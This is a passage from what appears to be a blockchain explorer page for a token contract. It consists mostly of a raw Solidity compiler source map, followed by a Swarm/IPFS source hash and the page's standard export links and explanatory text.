:12;13212:19;;12871:366;;;:::o;13243:419::-;13409:4;13447:2;13436:9;13432:18;13424:26;;13496:9;13490:4;13486:20;13482:1;13471:9;13467:17;13460:47;13524:131;13650:4;13524:131;:::i;:::-;13516:139;;13243:419;;;:::o;13668:221::-;13808:34;13804:1;13796:6;13792:14;13785:58;13877:4;13872:2;13864:6;13860:15;13853:29;13668:221;:::o;13895:366::-;14037:3;14058:67;14122:2;14117:3;14058:67;:::i;:::-;14051:74;;14134:93;14223:3;14134:93;:::i;:::-;14252:2;14247:3;14243:12;14236:19;;13895:366;;;:::o;14267:419::-;14433:4;14471:2;14460:9;14456:18;14448:26;;14520:9;14514:4;14510:20;14506:1;14495:9;14491:17;14484:47;14548:131;14674:4;14548:131;:::i;:::-;14540:139;;14267:419;;;:::o;14692:244::-;14832:34;14828:1;14820:6;14816:14;14809:58;14901:27;14896:2;14888:6;14884:15;14877:52;14692:244;:::o;14942:366::-;15084:3;15105:67;15169:2;15164:3;15105:67;:::i;:::-;15098:74;;15181:93;15270:3;15181:93;:::i;:::-;15299:2;15294:3;15290:12;15283:19;;14942:366;;;:::o;15314:419::-;15480:4;15518:2;15507:9;15503:18;15495:26;;15567:9;15561:4;15557:20;15553:1;15542:9;15538:17;15531:47;15595:131;15721:4;15595:131;:::i;:::-;15587:139;;15314:419;;;:::o;15739:182::-;15879:34;15875:1;15867:6;15863:14;15856:58;15739:182;:::o;15927:366::-;16069:3;16090:67;16154:2;16149:3;16090:67;:::i;:::-;16083:74;;16166:93;16255:3;16166:93;:::i;:::-;16284:2;16279:3;16275:12;16268:19;;15927:366;;;:::o;16299:419::-;16465:4;16503:2;16492:9;16488:18;16480:26;;16552:9;16546:4;16542:20;16538:1;16527:9;16523:17;16516:47;16580:131;16706:4;16580:131;:::i;:::-;16572:139;;16299:419;;;:::o;16724:221::-;16864:34;16860:1;16852:6;16848:14;16841:58;16933:4;16928:2;16920:6;16916:15;16909:29;16724:221;:::o;16951:366::-;17093:3;17114:67;17178:2;17173:3;17114:67;:::i;:::-;17107:74;;17190:93;17279:3;17190:93;:::i;:::-;17308:2;17303:3;17299:12;17292:19;;16951:366;;;:::o;17323:419::-;17489:4;17527:2;17516:9;17512:18;17504:26;;17576:9;17570:4;17566:20;17562:1;17551:9;17547:17;17540:47;17604:131;17730:4;17604:131;:::i;:::-;17596:139;;17323:419;;;:::o;17748:233::-;17888:34;17884:1;17876:6;17872:14;17865:58;17957:16;17952:2;17944:6;17940:15;17933:41;17748:233;:::o;17987:366::-;18129:3;18150:67;18214:2;18209:3;18150:67;:::i;:::-;18143:74;;18226:93;18315:3;18226:93;:::i;:::-;18344:2;18339:3;18335:12;18328:19;;17987:366;;;:::o;18359:419::-;18525:4;18563:2;18552:9;18548:18;18540:26;;18612:9;18606:4;18602:20;18598:1;18587:9;18583:17;18576:47;18640:131;18766:4;18640:131;:::i;:::-;18632:139;;18359:419;;;:::o;18784:181::-;18924:33;18920:1;18912:6;18908:14;18901:57;18784:181;:::o;18971:366::-;19113:3;19134:67;19198:2;19193:3;19134:67;:::i;:::-;19127:74;;19210:93;19299:3;19210:93;:::i;:::-;19328:2;19323:3;19319:12;19312:19;;18971:366;;;:::o;19343:419::-;19509:4;19547:2;19536:9;19532:18;19524:26;;19596:9;19590:4;19586:20;19582:1;19571:9;19567:17;19560:47;19624:131;19750:4;19624:131;:::i;:::-;19616:139;;19343:419;;;:::o;19768:147::-;19869:11;19906:3;19891:18;;19768:147;;;;:::o;19921:114::-;;:::o;20041:398::-;20200:3;20221:83;20302:1;20297:3;20221:83;:::i;:::-;20214:90;;20313:93;20402:3;20313:93;:::i;:::-;20431:1;20426:3;20422:11;20415:18;;20041:398;;;:::o;20445:379::-;20629:3;20651:147;20794:3;20651:147;:::i;:::-;20644:154;;20815:3;20808:10;;20445:379;;;:::o;20830:166::-;20970:18;20966:1;20958:6;20954:14;20947:42;20830:166;:::o;21002:366::-;21144:3;21165:67;21229:2;21224:3;21165:67;:::i;:::-;21158:74;;21241:93;21330:3;21241:93;:::i;:::-;21359:2;21354:3;21350:12;21343:19;;21002:366;;;:::o;21374:419::-;21540:4;21578:2;21567:9;21563:18;21555:26;;21627:9;21621:4;21617:20;21613:1;21602:9;21598:17;21591:47;21655:131;21781:4;21655:131;:::i;:::-;21647:139;;21374:419;;;:::o;21799:222::-;21939:34;21935:1;21927:6;21923:14;21916:58;22008:5;22003:2;21995:6;21991:15;21984:30;21799:222;:::o;22027:366::-;22169:3;22190:67;22254:2;22249:3;22190:67;:::i;:::-;22183:74;;22266:93;22355:3;22266:93;:::i;:::-;22384:2;22379:3;22375:12;22368:19;;22027:366;;;:::o;22399:419::-;22565:4;22603:2;22592:9;22588:18;22580:26;;22652:9;22646:4;22642:20;22638:1;22627:9;22623:17;22616:47;22680:131;22806:4;22680:131;:::i;:::-;22672:139;;22399:419;;;:::o;22824:230::-;22964:34;22960:1;22952:6;22948:14;22941:58;23033:13;23028:2;23020:6;23016:15;23009:38;22824:230;:::o;23060:366::-;23202:3;23223:67;23287:2;23282:3;23223:67;:::i;:::-;23216:74;;23299:93;23388:3;23299:93;:::i;:::-;23417:2;23412:3;23408:12;23401:19;;23060:366;;;:::o;23432:419::-;23598:4;23636:2;23625:9;23621:18;23613:26;;23685:9;23679:4;23675:20;23671:1;23660:9;23656:17;23649:47;23713:131;23839:4;23713:131;:::i;:::-;23705:139;;23432:419;;;:::o;23857:180::-;23905:77;23902:1;23895:88;24002:4;23999:1;23992:15;24026:4;24023:1;24016:15;24043:305;24083:3;24102:20;24120:1;24102:20;:::i;:::-;24097:25;;24136:20;24154:1;24136:20;:::i;:::-;24131:25;;24290:1;24222:66;24218:74;24215:1;24212:81;24209:107;;;24296:18;;:::i;:::-;24209:107;24340:1;24337;24333:9;24326:16;;24043:305;;;;:::o;24354:348::-;24394:7;24417:20;24435:1;24417:20;:::i;:::-;24412:25;;24451:20;24469:1;24451:20;:::i;:::-;24446:25;;24639:1;24571:66;24567:74;24564:1;24561:81;24556:1;24549:9;24542:17;24538:105;24535:131;;;24646:18;;:::i;:::-;24535:131;24694:1;24691;24687:9;24676:20;;24354:348;;;;:::o;24708:179::-;24848:31;24844:1;24836:6;24832:14;24825:55;24708:179;:::o;24893:366::-;25035:3;25056:67;25120:2;25115:3;25056:67;:::i;:::-;25049:74;;25132:93;25221:3;25132:93;:::i;:::-;25250:2;25245:3;25241:12;25234:19;;24893:366;;;:::o;25265:419::-;25431:4;25469:2;25458:9;25454:18;25446:26;;25518:9;25512:4;25508:20;25504:1;25493:9;25489:17;25482:47;25546:131;25672:4;25546:131;:::i;:::-;25538:139;;25265:419;;;:::o;25690:157::-;25830:9;25826:1;25818:6;25814:14;25807:33;25690:157;:::o;25853:365::-;25995:3;26016:66;26080:1;26075:3;26016:66;:::i;:::-;26009:73;;26091:93;26180:3;26091:93;:::i;:::-;26209:2;26204:3;26200:12;26193:19;;25853:365;;;:::o;26224:419::-;26390:4;26428:2;26417:9;26413:18;26405:26;;26477:9;26471:4;26467:20;26463:1;26452:9;26448:17;26441:47;26505:131;26631:4;26505:131;:::i;:::-;26497:139;;26224:419;;;:::o;26649:169::-;26789:21;26785:1;26777:6;26773:14;26766:45;26649:169;:::o;26824:366::-;26966:3;26987:67;27051:2;27046:3;26987:67;:::i;:::-;26980:74;;27063:93;27152:3;27063:93;:::i;:::-;27181:2;27176:3;27172:12;27165:19;;26824:366;;;:::o;27196:419::-;27362:4;27400:2;27389:9;27385:18;27377:26;;27449:9;27443:4;27439:20;27435:1;27424:9;27420:17;27413:47;27477:131;27603:4;27477:131;:::i;:::-;27469:139;;27196:419;;;:::o;27621:176::-;27761:28;27757:1;27749:6;27745:14;27738:52;27621:176;:::o;27803:366::-;27945:3;27966:67;28030:2;28025:3;27966:67;:::i;:::-;27959:74;;28042:93;28131:3;28042:93;:::i;:::-;28160:2;28155:3;28151:12;28144:19;;27803:366;;;:::o;28175:419::-;28341:4;28379:2;28368:9;28364:18;28356:26;;28428:9;28422:4;28418:20;28414:1;28403:9;28399:17;28392:47;28456:131;28582:4;28456:131;:::i;:::-;28448:139;;28175:419;;;:::o;28600:238::-;28740:34;28736:1;28728:6;28724:14;28717:58;28809:21;28804:2;28796:6;28792:15;28785:46;28600:238;:::o;28844:366::-;28986:3;29007:67;29071:2;29066:3;29007:67;:::i;:::-;29000:74;;29083:93;29172:3;29083:93;:::i;:::-;29201:2;29196:3;29192:12;29185:19;;28844:366;;;:::o;29216:419::-;29382:4;29420:2;29409:9;29405:18;29397:26;;29469:9;29463:4;29459:20;29455:1;29444:9;29440:17;29433:47;29497:131;29623:4;29497:131;:::i;:::-;29489:139;;29216:419;;;:::o;29641:234::-;29781:34;29777:1;29769:6;29765:14;29758:58;29850:17;29845:2;29837:6;29833:15;29826:42;29641:234;:::o;29881:366::-;30023:3;30044:67;30108:2;30103:3;30044:67;:::i;:::-;30037:74;;30120:93;30209:3;30120:93;:::i;:::-;30238:2;30233:3;30229:12;30222:19;;29881:366;;;:::o;30253:419::-;30419:4;30457:2;30446:9;30442:18;30434:26;;30506:9;30500:4;30496:20;30492:1;30481:9;30477:17;30470:47;30534:131;30660:4;30534:131;:::i;:::-;30526:139;;30253:419;;;:::o;30678:148::-;30780:11;30817:3;30802:18;;30678:148;;;;:::o;30832:377::-;30938:3;30966:39;30999:5;30966:39;:::i;:::-;31021:89;31103:6;31098:3;31021:89;:::i;:::-;31014:96;;31119:52;31164:6;31159:3;31152:4;31145:5;31141:16;31119:52;:::i;:::-;31196:6;31191:3;31187:16;31180:23;;30942:267;30832:377;;;;:::o;31215:155::-;31355:7;31351:1;31343:6;31339:14;31332:31;31215:155;:::o;31376:400::-;31536:3;31557:84;31639:1;31634:3;31557:84;:::i;:::-;31550:91;;31650:93;31739:3;31650:93;:::i;:::-;31768:1;31763:3;31759:11;31752:18;;31376:400;;;:::o;31782:701::-;32063:3;32085:95;32176:3;32167:6;32085:95;:::i;:::-;32078:102;;32197:95;32288:3;32279:6;32197:95;:::i;:::-;32190:102;;32309:148;32453:3;32309:148;:::i;:::-;32302:155;;32474:3;32467:10;;31782:701;;;;;:::o;32489:225::-;32629:34;32625:1;32617:6;32613:14;32606:58;32698:8;32693:2;32685:6;32681:15;32674:33;32489:225;:::o;32720:366::-;32862:3;32883:67;32947:2;32942:3;32883:67;:::i;:::-;32876:74;;32959:93;33048:3;32959:93;:::i;:::-;33077:2;33072:3;33068:12;33061:19;;32720:366;;;:::o;33092:419::-;33258:4;33296:2;33285:9;33281:18;33273:26;;33345:9;33339:4;33335:20;33331:1;33320:9;33316:17;33309:47;33373:131;33499:4;33373:131;:::i;:::-;33365:139;;33092:419;;;:::o;33517:237::-;33657:34;33653:1;33645:6;33641:14;33634:58;33726:20;33721:2;33713:6;33709:15;33702:45;33517:237;:::o;33760:366::-;33902:3;33923:67;33987:2;33982:3;33923:67;:::i;:::-;33916:74;;33999:93;34088:3;33999:93;:::i;:::-;34117:2;34112:3;34108:12;34101:19;;33760:366;;;:::o;34132:419::-;34298:4;34336:2;34325:9;34321:18;34313:26;;34385:9;34379:4;34375:20;34371:1;34360:9;34356:17;34349:47;34413:131;34539:4;34413:131;:::i;:::-;34405:139;;34132:419;;;:::o;34557:225::-;34697:34;34693:1;34685:6;34681:14;34674:58;34766:8;34761:2;34753:6;34749:15;34742:33;34557:225;:::o;34788:366::-;34930:3;34951:67;35015:2;35010:3;34951:67;:::i;:::-;34944:74;;35027:93;35116:3;35027:93;:::i;:::-;35145:2;35140:3;35136:12;35129:19;;34788:366;;;:::o;35160:419::-;35326:4;35364:2;35353:9;35349:18;35341:26;;35413:9;35407:4;35403:20;35399:1;35388:9;35384:17;35377:47;35441:131;35567:4;35441:131;:::i;:::-;35433:139;;35160:419;;;:::o;35585:224::-;35725:34;35721:1;35713:6;35709:14;35702:58;35794:7;35789:2;35781:6;35777:15;35770:32;35585:224;:::o;35815:366::-;35957:3;35978:67;36042:2;36037:3;35978:67;:::i;:::-;35971:74;;36054:93;36143:3;36054:93;:::i;:::-;36172:2;36167:3;36163:12;36156:19;;35815:366;;;:::o;36187:419::-;36353:4;36391:2;36380:9;36376:18;36368:26;;36440:9;36434:4;36430:20;36426:1;36415:9;36411:17;36404:47;36468:131;36594:4;36468:131;:::i;:::-;36460:139;;36187:419;;;:::o;36612:229::-;36752:34;36748:1;36740:6;36736:14;36729:58;36821:12;36816:2;36808:6;36804:15;36797:37;36612:229;:::o;36847:366::-;36989:3;37010:67;37074:2;37069:3;37010:67;:::i;:::-;37003:74;;37086:93;37175:3;37086:93;:::i;:::-;37204:2;37199:3;37195:12;37188:19;;36847:366;;;:::o;37219:419::-;37385:4;37423:2;37412:9;37408:18;37400:26;;37472:9;37466:4;37462:20;37458:1;37447:9;37443:17;37436:47;37500:131;37626:4;37500:131;:::i;:::-;37492:139;;37219:419;;;:::o;37644:234::-;37784:34;37780:1;37772:6;37768:14;37761:58;37853:17;37848:2;37840:6;37836:15;37829:42;37644:234;:::o;37884:366::-;38026:3;38047:67;38111:2;38106:3;38047:67;:::i;:::-;38040:74;;38123:93;38212:3;38123:93;:::i;:::-;38241:2;38236:3;38232:12;38225:19;;37884:366;;;:::o;38256:419::-;38422:4;38460:2;38449:9;38445:18;38437:26;;38509:9;38503:4;38499:20;38495:1;38484:9;38480:17;38473:47;38537:131;38663:4;38537:131;:::i;:::-;38529:139;;38256:419;;;:::o;38681:98::-;38732:6;38766:5;38760:12;38750:22;;38681:98;;;:::o;38785:168::-;38868:11;38902:6;38897:3;38890:19;38942:4;38937:3;38933:14;38918:29;;38785:168;;;;:::o;38959:360::-;39045:3;39073:38;39105:5;39073:38;:::i;:::-;39127:70;39190:6;39185:3;39127:70;:::i;:::-;39120:77;;39206:52;39251:6;39246:3;39239:4;39232:5;39228:16;39206:52;:::i;:::-;39283:29;39305:6;39283:29;:::i;:::-;39278:3;39274:39;39267:46;;39049:270;38959:360;;;;:::o;39325:640::-;39520:4;39558:3;39547:9;39543:19;39535:27;;39572:71;39640:1;39629:9;39625:17;39616:6;39572:71;:::i;:::-;39653:72;39721:2;39710:9;39706:18;39697:6;39653:72;:::i;:::-;39735;39803:2;39792:9;39788:18;39779:6;39735:72;:::i;:::-;39854:9;39848:4;39844:20;39839:2;39828:9;39824:18;39817:48;39882:76;39953:4;39944:6;39882:76;:::i;:::-;39874:84;;39325:640;;;;;;;:::o;39971:141::-;40027:5;40058:6;40052:13;40043:22;;40074:32;40100:5;40074:32;:::i;:::-;39971:141;;;;:::o;40118:349::-;40187:6;40236:2;40224:9;40215:7;40211:23;40207:32;40204:119;;;40242:79;;:::i;:::-;40204:119;40362:1;40387:63;40442:7;40433:6;40422:9;40418:22;40387:63;:::i;:::-;40377:73;;40333:127;40118:349;;;;:::o;40473:233::-;40512:3;40535:24;40553:5;40535:24;:::i;:::-;40526:33;;40581:66;40574:5;40571:77;40568:103;;40651:18;;:::i;:::-;40568:103;40698:1;40691:5;40687:13;40680:20;;40473:233;;;:::o;40712:180::-;40760:77;40757:1;40750:88;40857:4;40854:1;40847:15;40881:4;40878:1;40871:15;40898:185;40938:1;40955:20;40973:1;40955:20;:::i;:::-;40950:25;;40989:20;41007:1;40989:20;:::i;:::-;40984:25;;41028:1;41018:35;;41033:18;;:::i;:::-;41018:35;41075:1;41072;41068:9;41063:14;;40898:185;;;;:::o;41089:191::-;41129:4;41149:20;41167:1;41149:20;:::i;:::-;41144:25;;41183:20;41201:1;41183:20;:::i;:::-;41178:25;;41222:1;41219;41216:8;41213:34;;;41227:18;;:::i;:::-;41213:34;41272:1;41269;41265:9;41257:17;;41089:191;;;;:::o;41286:176::-;41318:1;41335:20;41353:1;41335:20;:::i;:::-;41330:25;;41369:20;41387:1;41369:20;:::i;:::-;41364:25;;41408:1;41398:35;;41413:18;;:::i;:::-;41398:35;41454:1;41451;41447:9;41442:14;;41286:176;;;;:::o;41468:180::-;41516:77;41513:1;41506:88;41613:4;41610:1;41603:15;41637:4;41634:1;41627:15;41654:220;41794:34;41790:1;41782:6;41778:14;41771:58;41863:3;41858:2;41850:6;41846:15;41839:28;41654:220;:::o;41880:366::-;42022:3;42043:67;42107:2;42102:3;42043:67;:::i;:::-;42036:74;;42119:93;42208:3;42119:93;:::i;:::-;42237:2;42232:3;42228:12;42221:19;;41880:366;;;:::o;42252:419::-;42418:4;42456:2;42445:9;42441:18;42433:26;;42505:9;42499:4;42495:20;42491:1;42480:9;42476:17;42469:47;42533:131;42659:4;42533:131;:::i;:::-;42525:139;;42252:419;;;:::o;42677:227::-;42817:34;42813:1;42805:6;42801:14;42794:58;42886:10;42881:2;42873:6;42869:15;42862:35;42677:227;:::o;42910:366::-;43052:3;43073:67;43137:2;43132:3;43073:67;:::i;:::-;43066:74;;43149:93;43238:3;43149:93;:::i;:::-;43267:2;43262:3;43258:12;43251:19;;42910:366;;;:::o;43282:419::-;43448:4;43486:2;43475:9;43471:18;43463:26;;43535:9;43529:4;43525:20;43521:1;43510:9;43506:17;43499:47;43563:131;43689:4;43563:131;:::i;:::-;43555:139;;43282:419;;;:::o

Swarm Source

ipfs://b4efe9c5d6edba99857f20b262ae6a4c7804c0844a3bfb805ae5c82ad883c5c0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.